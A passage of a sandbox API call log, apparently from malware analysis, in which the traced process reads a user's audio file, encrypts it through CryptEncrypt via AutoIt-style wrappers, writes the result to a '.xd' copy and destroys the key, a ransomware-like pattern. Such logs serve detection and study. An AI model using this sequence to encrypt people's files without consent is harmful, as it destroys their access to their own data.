lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.828] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.828] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\kxc_rnar6.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.829] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.829] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.829] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.829] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn")) returned 0x10 [0064.830] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\kxc_rnar6.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.840] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.840] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xb14b, lpOverlapped=0x0) returned 1 [0064.842] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.845] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.845] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.845] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.845] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.846] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.846] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.846] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.846] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.846] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.846] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.846] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.846] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.847] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.848] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.849] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x16296e0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296e0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.849] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.849] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.849] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.849] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.849] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.850] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.850] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.850] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.850] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.850] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.850] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.850] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.850] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.850] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.850] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.850] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.852] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.852] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.853] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xb14b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xb150) returned 1 [0064.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.853] CharLowerBuffW (in: lpsz="byte[45393]", cchLength=0xb | out: lpsz="byte[45393]") returned 0xb [0064.853] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.854] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.854] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.854] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.854] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621960, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.855] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.855] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x189e418*, pdwDataLen=0x130e618*=0xb14b, dwBufLen=0xb150 | out: pbData=0x189e418*, pdwDataLen=0x130e618*=0xb150) returned 1 [0064.855] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.855] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.856] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.856] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.856] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.856] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.856] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.856] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.856] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.856] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.856] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.857] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.857] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.857] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.857] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.857] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.861] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.861] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.861] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.861] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xb150, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xb150, lpOverlapped=0x0) returned 1 [0064.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.863] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.863] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.863] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.863] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.863] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.863] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.864] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.864] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0064.864] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.866] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.866] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.866] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.866] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.866] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.866] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.866] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.867] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.867] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.867] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.867] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.867] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.867] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.867] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.867] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.867] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.867] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.867] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.867] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.867] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.867] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.867] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.868] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.868] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.868] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.868] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.868] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.868] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.868] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.868] CryptReleaseContext (hProv=0x17ab3b8, dwFlags=0x0) returned 1 [0064.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.869] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.869] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.869] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.869] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, 